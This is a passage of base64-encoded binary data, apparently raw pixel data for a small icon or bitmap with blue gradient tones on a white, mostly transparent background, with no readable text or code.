BmcP6Ad/s/QH///8B////Af///wH///8B////Af///wH///8B////Af///wH9/v8B+/7+Afn8/gH3+/4B9fr+AfL4/gH7/f8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHs9v0BuN35Acvv+gHh9P0B////Ae32/QGRy+8B5/3pAP//5QD//+cAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAKsAAADEAQAA2AIAANsCAADRAgAP4wMABdcDAADCAgAAxgIAAJ8BAAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A///+APD49ACPyvYBtdz6Af///wH///8B7/78Acbl+AGm0fYBsMj1Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af7+/wHs9P0B6u79Afz8/wGnyvQButXyAP///wD/d/8A/wD/AP/I/wG1v/8Di8z/A4eg8wUyTukQK4vvH1ys8yphm+81TYruQj2Z8E9EpfFaU6vxYl6u8WdjqO9uZqHwdmad7X9onu6BXJvvgUuU74FHl++HUJrvhFud74BcmfCBXpzxel6e8XdjpfNxaa/yam228WVntfFhWK/vWlKl7lFble1IXortP12a8DQ+jvEpFXnrHhs85RQ9WOoJUqfvBDh96QMgWuQCAE3jAQAAsgAAANAAu///AOv//wDf//8B////Afr//wHs9f0B8/b9Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bw9r6AYmQ7wGwsOgBga/wAb3P6QBSnvgAIXn8BWGg9RE3fO8fP4XuLTWI6kY+k+tkP5DqgDKW6pk8nOmuNpLnwSyT59MvlufaMJTm4CyR5uYpkubtLpbn8zib6fhAnun6SKLp/E6l6v1VqOv/XKzt/1is7/9EpO7/PZ/r/zmc6f9Coen/Uanr/1+w7f5uuPH9er/0/H/B9ft+wfX5eL/093O88/NzuvLvebnx6X258OSBvfDffbzw2Xm58NOBtfDFgbnwt2+07qVnpuyObafsdVmq7WBVjOZIYqPnMEmQ5yE8dtgVBjjJCQAAigEAAJkApMr2AKbN9wHX1ewBj46oAeno5gH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH6//oB6//qAe31/gGlt+QB/wAAAAAAAAAhNukDRn/vCTiR8h9AjvA/M4/sZDKU64wzluqvK47qySuS6uMplOnzIpHp+x+Q6P0cj+n/HJDq/xyS7P8elO3/IJfv/yKa8f8lnfL/KaHz/y2l9P8xqvb/Na32/zmx9v88tff+P7j4/kG5+P5EvPj+R774/ki99/9Euvb+Qbb1/j6z9P49sfT+RLT2/k629/9Yufj/Xbn4/2G5+P9kufj/cb74/37D9/+JyPb/isj0/43J9f+Qy/X/lcz1/5fM9f+XzPT/lsrz/pXJ8/yOxvL7i8Dw9IO/7+Z6tu3OeLPrtmyn6ptvret3V5flVUKN4zUoXdEYJEzKBwAAegIAAAAA////AP///wD7/f8B5fj7AfX//QH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AfHx/wGRg9IBqrCqAYP/AAAALN4BHmfoDy+P7ic+m+9LSJ3wfUKg7rEymuzVNqLt5zen7vYuofL+KJ70/yqi9f8spvb/L6j3/jOs+f43sfv+O7T8/z+3/f9Auf7/Q7z+/0S+//9Fvv//Rr///0fA//9HwP//SMH//0nC//9MxP//Tsf//1HJ//9UzP//V8/+/1vT/v9g1///ZNr//2nd//975///mfT//5bz//+L7/7/gev+/3nm/v904v7/cN7+/3Hc/v9+3v7/mun9/7Xu/f+/6/3/ueb8/7Tk+/+z4/v/rN76/6fb+v6k2fr+qNn6/p/T+P+bz/f/nM/3/5jN9f+Wy/T/kMby/IzD8fCEvu/ie7Xszmeh6qZaktZ2WZHaSUiN4ykSaNUQAACJAf///wC71PEBjH3bAdnW8AH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af3+/wHS1vcB4Nr1AdJbyQAAAGoAACLKBB6o4xArpuk7Tqbydl2t8qxvuPTTfML39Gm89v5ArfT/Qbf3/1zT+/9f2f7/Vc/+/1fQ/v9Z0v//XNX//13W//9d1v//XNX//1vU/v9a0v7/V9D//1XO/v9TzP//Ucr//07H//9Mxf//SsP//0fB//9Fv/7/Q7z//0G6/v8/uP7/PLb+/zq0/v86s/7/Pbb+/z62/v87tP7/cND+/+H7/v/w//7/5f7+/9f8/v/B9///qfD//4/o/v9/4v7/d9/+/33l/v+R7v7/r/T//9f7///v/v//7v7+/+n+/v/j+/7/3Pj+/9f2/v/L8f3/v+r9/7nm/P+r3vv/m9P4/4/L9/+Oyfb/lcv2/5nN9v+YzPT/kMfz/Ya/8PR7tu3XbqzqrViq6Xs+gOFGK1/bGgc5ywcAAJUB/y30AOfa9wHN1vcB9vf+Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Ae34/gG63PkBCQC/AAA60QEffekZSJftQ1Wk8H9rtvS+g8b36J3U+fq04vv/x+39/8rx/v+97f7/uu7+/8b0//+08v7/j+v+/3nl/v9s4v7/Zd/+/2Pd/v9i2/7/X9n//13W//9b1P//WNH//1bP//9Uzf//Ucr//0/J//9Nx///S8T//0nC//9HwP//Rb///0S9//9CvP//Qbr//0C5//9Buv7/Rbz+/0e+/v9GvP3/RLr9/27L/v+/6v7/6/z//+7+///x////8/////D9///i+f//x/D+/5rd/v9uzP//UMH+/0a9//9hyf//y/L///3+///9/v///f7///z////7//7/+P/+//X//v/w/v//6vz+/9/4/v/O8Pz/t+T7/5/X+f+Nzfj/hsf2/47K9/6c0fj/odL3/5jM9P+PxvH7hL3v7He07M9gn+iWT47kVh5q4SYAOcsHLf//AH5dpQCOfsoB6Oj6Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHo8/0B1OX7AYOg8QAAeegBNZftCzuR6zReqPB4eb71vY/L+Oyo3Pv+v+n9/9P0/v/i+v//7P3///T+///5//7//P/+//3//v/6//7/7/7//9z7//+99P7/len+/2/a/v9e1/7/XNX+/1nT//9X0f//VM7//1LM//9Qyv//Tsj//0zG//9Lxf//ScP//0jC//9GwP7/Qrz+/zy2/v83sf7/Mqz9/y2n/P8po/v/KKH6/ySe+P8gmvf/H5j2/yCX9P8wnPH/Sanx/2W38v9wvvT/fsX1/4zN9/+b1Pn/q9z6/7rk+//H6/3/xPD9/6no/v930v//TL/+/3zV/v/m+///+P////r////8/////f7///7+/v///v////7///7+/v/9/v7//P/+//r//v/0/v7/5fj+/8rr/P+s3vr/ltL4/5PR+v+d1fv/qNn6/6jX+f+dz/b/k8nz/4e/8PR3te7PYqPpmjuH4lYna8waABWiBAx3/wDv7/0B1tb1Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af7//wHq//8BAP//ADjS6gIxoOwhWKPwXne79aiSzPfjq9z6+sTs/f/Z9/7/6Pz///P+/v/5//7/+//+//r////3////7/7+/+L5/v/Q7/z/tuL5/5jS9f98wfH/YbHt/z+l6/86rfP/Qbz8/1TO/v9Szf7/UMv//0/J//9OyP//Tcf//0zH//9Kxf7/RsD//z+5/v84sv7/MKr+/yii/f8jnvv/IZv5/x6Z+P8dl/b/HJb1/xuV9P8alfP/GpTz/xmU8v8Tj+7/DYjp/wqH6P8Kh+j/C4fp/w2J6f8Piur/Eozr/xmQ7P8ile3/K5nv/zmh8P9KqvP/UbP4/0e2/f9Mu/7/kNX8/7fl/P/K7f3/2vX+/+j8///x//7/9/////r////8//7//f7+//7+///+/v7//v7+///+//////7//P7+//H6/f/Y8Pz/tN/6/57W+f+d1/r/qt37/7Tg/P+r2fn/nM/2/5PJ8/6IwfDzcq/pyleW4oEtmOQ7AFzMDBP//wDfjP8A+/X/Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B4Ob7AcfT+AEkjOoALnnjB02k7il1u/J5hcb3yqHW+vW+6Pz/1vX+/+j8/v/z/v//+v/+//z////4////7/z+/9/2/f/D6fv/n9X2/3i/8P9Uq+z/Npro/yCN5P8OheL/BoHh/wSA4f8Ef+H/E43l/ySM1v9Gten/UMv+/0/J//9Oyf//Tcj+/0nD/v9Auv7/Na/+/yul/f8kn/z/IZv7/x6Z+f8dl/f/HJb2/xuW9f8blfX/GpT0/xmU9P8Zk/P/GZPy/xiT8v8YkvH/EYzs/wyH6P8MiOj/Donp/w6J6f8Piun/D4rq/w+L6v8Piur/Dorq/w6K6/8Niuv/DYrs/xCN7v8ZlfL/Hpn1/xyU8f8mmfH/NKDz/0qs9f9lu/f/hcv6/6Pb/P/B6v3/2vb+/+v7/v/1/v//+/////3+///+/v///v7+//7+/v///v7////+//7+/v/y+v3/0Ov8/6LZ+v+W1vv/reL9/8Dq/f+24fz/o9T4/5jM9f+Px/H+fr3u4mGj5qc7ettRGVTTFAAAigHFvOkAz8/vAf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH9//8B35X/AQYAAAAGaNwJSJHmP3Gw8I6Oyvfbrt/7+83w/f/l+/7/8//+//v////8////+P///+n7/v/M7Pv/otb2/3K88P9JpOr/JJHl/w6F4/8GgOH/An/h/wN/4f8FgOH/BYDg/wWA4P8FgOD/BoDh/wiA3/8fe8H/Oqvr/0nE//9GwP//Qrz+/zy2/v82r/z/Mqv7/zCp+v8wqfn/MKn4/zGp+P8xqvn/Mqv5/zCq+f8vqfj/L6j3/y6n9/8tpvf/K6T2/yii9v8noPX/JJ31/xyW8P8VkOz/E47s/xCM6/8Piuv/Donr/w2J6/8Nier/Donq/w6K6/8Piuv/EIvr/xCM6/8RjOz/EYzs/xKN7f8Tju7/EY7u/xGO7/8RjvD/Eo7w/xSR8v8clfP/K571/0Sr9/9nvfn/jdH8/7Xk/f/W8v7/7f3///n////9//7//v////7+/v/+/v7////+/////v/3/P7/4PP+/73n/v+n4v7/uuz+/8zy/v/B6f3/qNn6/5nN9v+VyvP/h7/v8Gen57dBi+BfDG/WGQAAOwD/nf8A+vv/Af3//wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Aef2/QHN7PsBAALCABZi2QlNmeg7cbbwmZXO9+O45Pz+1/X+/+z9/v/4//7//f/+//n////o+f7/xun6/5XO9P9ese3/L5bm/xSG4v8EgOH/A3/h/wOA4f8FgOH/BYDg/waB4P8Ig+H/C4bk/xCL5/8Xker/HJfs/yOd7/8oovD/OrHy/0S8+P9FvPb/PrXz/zmu7/81qu3/NKfq/zOl6P8wo+f/LqHm/y2h5v8tn+b/LZ/j/y6g5P8uo+j/MKfu/zKr9P81rvf/OLH5/zu0+v8+t/r/Qrr7/0W+/P9Du/r/Qrr5/0G6+f9Cuvn/QLn5/z21+P84sff/Mqz1/yul9P8ln/P/Hpnx/xmU8P8VkO//E47u/xGM7f8RjO3/EYzt/xGN7f8Sju7/E4/u/xSQ7/8VkPD/FpHx/xWS8v8VkfP/FpP0/xuW9v8onvj/Qaz6/2e//P+V1f7/wuv+/+T4///3/v///v/////////+/v///v7+///////8/v7/4vX+/7no/v+p5/7/yPX+/9n5///H7v7/r977/6HU+f+d0Pb/jMPw9Gus6b09jeBZGV7UE6T//wDX1+0Bzc3pAf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B+/3+AfT5/gH/oIcAAC/PBE2N6Dh0su+Smc/25L7o/P3d+P7/8v7///z//v/9//7/9P7+/9Tw/P+Z0fX/WK3s/yWR5f8Kg+H/A3/g/wJ/4f8EgOD/BYDg/waB4f8Jg+P/D4nm/xaR6v8emO3/I53w/yWf8P8ln/D/IZzu/x6Y6/8alOn/FY/n/xSM4v8Vit//E4fd/xGE2/8Pg9r/DoLZ/w6B2v8Ogdr/DoHa/w6B2v8Ogtv/D4Lb/w+B2f8PftL/D3/T/w98zv8Rf9P/E4Tb/xaK5P8Yj+v/G5X0/x+Z+P8hm/n/GpTx/xaQ7P8Zk+z/Hpju/yOe8P8rpfH/Mqzz/zmy9f9Auff/Rr74/0nC+v9Lw/v/ScH7/0W9+v9AuPn/N6/3/yuk9f8gmvP/GJPx/xSP8P8Sju//Eo7v/xSP7/8VkfD/FpHx/xiT8/8YlPT/GZX1/xmW9/8al/n/H5r6/y+k/f9Tt/7/hM/+/7rm/v/k+P//+v7//////////////v7////////5/f//1/T//7jz///R/f7/4/7+/+D7/v/M8f7/uOb9/6rc+/+d0Pb/isDv82Oi56w0ed1HAEPKCAAY3QD39PkB9/f9Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B4f3/AeH//wHw/+ECVqLqJnCw8IaXzffdvuf8/d75/v/y/v7++//+//v////p+f7/u+P5/3e+8P81muf/D4Xi/wN/4P8EgOD/BYHg/wWB4P8HguH/CoXk/xCL6P8WkOv/GZPs/xqU7P8Wken/Eozm/w2H4/8JhOH/B4Hg/wWA3/8Ff9//BYDf/wV/3v8IgN3/DYHa/w+E3f8PhuH/EIjj/xCJ5f8Rieb/EYrn/xKL6P8Si+n/E4zp/xSM6v8Vjer/FYzo/xWL5f8UiN//E4Xa/xOB1f8TgNH/E3/Q/xaD1v8aj+j/HZbz/xiS8P8Tjuz/D4rp/w6J6f8Oien/DYjp/w2I6f8Oien/D4rq/xGM6v8Vj+v/GpXt/yOd8f8zq/j/Rbz+/0W8+v9Hvvn/S8P6/0vD+/9Fvfv/OrP5/y2n9/8infX/GpXz/xaR8v8VkPL/F5Ly/xiT8/8alfT/G5f2/x6Y+P8emvr/Hpv8/yGd/f8xpv7/U7j+/4nR///B6///6vn///z+/////////v7///7+///0/v//6f7//9L6///R8/7/6/z+/+L7/v/N8/7/suH9/5/T+P6bzfT+grzu52Gn55FJjeEqAAW2Ap1x2AH79P0B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wA4k+QSaq/sZ4/J9cy25Pv93fn+//T//v/9//7/+////+X4/f+s2/b/Xa/s/x+N5P8Ff+D/A3/g/wWB4f8FgeD/BoHh/wqF5P8Piuf/E47p/xON6f8Piub/C4bj/weC4P8FgN//BX/e/wV/3/8FgN//BYDf/waA4P8GgeD/B4Hg/weB4P8Igt//C4Th/w+J5/8Qi+n/EYvp/w+H4/8Ohd//EYrm/xKL6f8Si+n/Eovp/xKM6f8TjOr/FI3q/xSN6v8Vjuv/Fo/s/xaP7f8Wj+z/F47p/xaL5f8Ug9b/E37O/xaG2/8Xj+r/FY/t/xCL6v8Qi+r/EIvq/xCL6v8Ri+r/EIvq/xCL6v8Qiun/EIrq/xGL6/8XkfD/I5z6/yqj/f8WkfD/EIvq/xaR7P8fme//K6Xx/zmx9f9Fvfj/TMT6/0vD+/9Du/v/NK35/yWf9/8alvT/F5P0/xiT9P8alfX/HJf3/x6Z+f8gm/v/IZz9/yGe/v8kof7/Nav//1+///+a2v//1PD///b9//////////7////+///w/f//w/D//77r///p+f//8f/+/+H7/v/I7/3/qtv7/5/R+P+WyfP9cLDrzlGZ5FhzleMM////APHx/AH8/P4B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHr9f0Bxuv6AWe47QZcoOpCgrvyrqzc+fPV9P7/8P7+//v+/v/5////3/X9/6HV9f9RqOr/GIni/wR/4P8EgOD/BYHg/waB4P8Ig+P/DIfm/xCL6f8Qi+j/DYfk/wiD4f8GgN//BX/e/wV/3v8FgN//BoDg/waA3/8GgN//BoDf/waB3/8GgN//BoHg/waB4P8HgeD/CYPh/wyF4f8Ng9z/DIDY/w181P8Jdcr/CXnM/w+H4v8Riuf/Eorn/xKL6P8Si+j/Eovp/xKM6f8Si+n/Eozq/xON6v8Tjev/E43r/xSN7P8Uju3/FI3p/xOC1v8TgdL/FITZ/xOL6P8RjOr/EYvq/xGL6v8RjOr/EYvq/xGM6v8Ri+r/EYvq/xKM6/8WkO7/Hpj1/yaf+/8jm/f/E47s/xGL6f8Qiun/D4rp/w6J6f8Oien/EYzr/xeR7f8im+//Mqrz/0G69/9Mw/v/S8P8/z63+/8uqPn/IJv3/xqV9v8alfb/HZj4/x+a+f8hnPz/JJ/9/yah/v8mo///Laj//0W0//94y///uOb//+j4///9//////////f9///N8v//tOv//9z0///2/f7/7/7+/9z6/v+96fz/o9b6/qDR9/+JwfHtWKHmmTOG3iTo+O8BtcHxAf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Afr8/gHm8PwBAADUADuJ5Rhwse97ntP448vv/P/s/f//+//+//z////k9/3/otX1/0um6f8ShuH/A37f/wSA3/8GgOD/BoHg/wmE4/8OiOf/D4no/wyG5f8HguH/BYDe/wV/3v8Ff97/BYDf/waA3/8GgN//BoDf/waA3/8GgN//BoDf/waA3/8Ggd//B4Hg/waB4P8GgeD/B4Hg/wh/2v8IedD/CHHE/whxw/8IbLz/B2q7/wl3zP8PhuH/EInn/xCJ5/8Qiuj/EIvo/xGL6f8Sjev/FI3r/xWP7P8WkO3/F5Ht/xiS7v8ZkvD/GZPw/xqT8f8YjOT/FoTW/xeL4v8TiuX/Eozr/xKM6/8SjOv/Eo3r/xKN6/8SjOv/Eo3r/xOO7P8WkO//GpTy/x2X9f8emPb/F5Hw/xCL6v8Qi+n/EIvp/xCK6f8Qi+n/EIvp/xCL6v8Qiun/D4np/w+J6v8Qi+v/F5Ht/yWf8f84sfX/ScH6/07G/P9Fvfz/Mar6/yGb+f8dl/j/Hpn5/yCb+/8jnv3/JaD+/yij/v8qpv//K6j//zev//9hw///ot3//970///6/v//9f7//9n4//+78P//0fD///j8///4//7/6v7+/9D0/f+t3vv/otT5/5zN9f1xsezCOojiQwAQxgP///8A////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8AAG/fBWCn7TyRyPWztuP6+OH5/v/3//7//P///+n5/f+t2/b/U6rq/xSH4f8Ef9//BYDf/wWB3/8GgeD/CoXk/w2H5v8Mh+X/CYPi/waA3/8FgN7/BYDe/wWA3/8GgN//BYDe/wWA3v8GgN//BoDf/waA3/8GgN//BoDf/waA3/8GgOD/BoHf/waB3/8HgeD/B4Lg/wd/2/8Hds7/CW/A/whpuP8IbLr/CWy3/whsvP8KedD/EYnl/xON6v8Vjuv/F5Ds/xiR7v8Zk+//GpTw/xuU8f8clfH/HZby/x2X8/8el/P/H5j0/x+Z9f8gmfX/H5fz/xqL3v8Zjub/FI7s/xON7P8Tjuz/E47s/xOO7P8Tjez/FI7t/xeS7/8dlvP/IJr2/yGb9/8hm/f/HZf0/xOO7P8Qi+r/EIvq/xCK6f8Qiun/EIrp/w+K6f8Qiun/D4rp/w+K6f8Qiun/EIvp/xCK6v8Piur/EIvr/xSP7P8im/H/ObH3/0/H+/9Tyv3/Qbr8/yul+/8gmvr/H5v7/yKd/P8kn/7/J6L+/yum//8tqf//Lqv//zaw//9Tvv//jdb//8jt///V8///0vz//7vz///P8P//9vv///z+/v/y/v7/3/v+/73p/P+k1/r/otL4/4K88N9PmORlHGHWCgAAVwDU2/cB////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AeHr+wH/vPwASo3kDHq372+Y0ffdzfD9/vD9/v/8//7/8/3+/8Hm+f9jsu3/GYri/wR/3/8EgN//BYDf/waB4P8JhOP/DIbl/wqE4/8HgeD/BoDe/wWA3/8FgN7/BYDe/wWA3v8FgN7/BoDf/waB3/8Ggd//BoDf/waA3/8Ggd//BoHf/weB4P8Ggd//BoHg/weB4P8HgeD/B4Lg/weB4P8HetT/B3DD/whsu/8Iabf/B2q4/whsuP8Ibr7/C3nP/xWM5v8Yku7/GJLu/xmT7v8ak+//GpTw/xuU8P8clfH/HJby/x2W8v8dl/P/Hpfz/x+Y9P8fmPT/IJn1/yCa9v8ckOb/GIvh/xWP7v8Uj+3/FI/t/xWP7v8WkO//GJPw/xyW8/8gmvb/I5z4/ySd+f8knfn/JZ75/xyW8/8Sjev/EYzq/xCL6v8Qi+n/EIrp/xCL6f8Piun/D4rp/w+J6P8Piej/D4ro/w+K6P8Qiun/EIvp/xGL6f8RjOr/EYvr/xGL7P8Xku//KqT0/0e/+v9Z0P3/Tsb+/zOu/P8jnvz/IZz9/ySf/v8nov7/KqX//y2o//8xrP//Mq7//zWx//9Iu///a8v//53l//+Y5///uvD//9jy///6/f///f7///j+/v/p/v7/yvH8/6fa+f+n1/r/j8X07lyd6YU6itsR////AOLx/AH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Ae3z/AH///8ATJnmIHq78pSz4fvy4vr+//n//v/5/v//2fL8/4PE8f8nkeT/BX/g/wSA4P8GgeD/BoHg/wmD4v8KheT/CIPi/waA3/8FgN7/BoDf/waA3v8FgN7/BYDe/wWA3v8GgN//BoHf/waA3/8Ggd//BoHf/waB3/8Ggd//B4Lf/weC4P8HguD/B4Lg/weC4f8HguD/B4Lg/weD4f8HgN3/B3XM/wdrvP8Ha7n/CGq4/wlrt/8IbLf/CW29/wt3zf8UiuP/GJHt/xiR7v8Zk+//GZPv/xqU8P8blPD/G5Xx/xyW8v8dlvP/Hpfz/x6Y9P8fmPT/IJn1/yCZ9f8hmvf/HZHo/xiK4P8WkO7/FpDt/xiS8P8clfP/Hpj1/yGb9/8jnPn/JJz5/yOd+f8knfn/I535/yKb+P8YkvD/Eo3r/xKN6/8RjOr/EYvq/xCL6f8Qiun/D4ro/xCJ6f8Piej/Dono/w6K6P8Piuj/D4ro/w+J6P8Piun/EIrp/xGL6v8RjOr/Eo3r/xKN7P8Uj+//Ipzz/z63+P9Wzv3/Usv+/zq0/v8nov7/JJ///yah//8qpf//Laj//zCr//8zr///P7b//0e8//9Swv//cNL//5Pj//+77P//4fX////////+////+v7+/+7//v/U9v3/r9/5/67b+v+Zzvf2Y63rlDeH3RYAAEwA4vH8Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBh+ACXKXtNYrH9bfE7Pz77v7+//z//v/u/P7/rdv3/0aj6f8Lg+H/BH/g/waB4P8GgeD/CIPi/wmE4/8Ig+H/BoDf/wWA3v8FgN7/BoDf/waB3/8FgN7/BYDe/waA3/8GgN//B4Hf/waB4P8HgeD/B4Hg/weB4P8HguD/B4Lg/wiC4f8IguH/CILh/wiC4f8IguH/CILh/wiD4f8Ig+H/CH3X/whzxv8Habb/B2q4/whquP8Ja7j/CWy3/wluvv8Lec7/FIvl/xeR7f8Yke3/GZLu/xqT7/8ak+7/G5Pv/xuV8P8clO3/HZXr/x6X8v8fmPT/IJn2/yCZ9v8hmvb/Ipv3/x6S6f8Zi9//GpLu/xqO5v8gmPP/I5z4/ySd+f8knfn/JJ35/ySd+v8knfn/JJ35/ySd+f8clvP/FI/t/xON7P8Sjev/Eozr/xGL6v8Qi+n/EIvp/xCK6f8Piun/D4no/w+J6P8Oiej/Donn/w6J6P8Oiej/D4no/w+J6P8Piuj/EIvp/xGL6v8SjOv/E43s/xOO7f8Uju//Hpfz/zew+P9Ryfz/U8z+/z64//8qpf//JqH//ymk//8sqP//MKz//068//9Mvf//Tb7//2jN//9iy///XMf//4nW///i9v//+/7///v////3/v7/7/7//976/f/B6Pf/tuD5/5/T+flrsO2aK3zaGP/w/wD///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B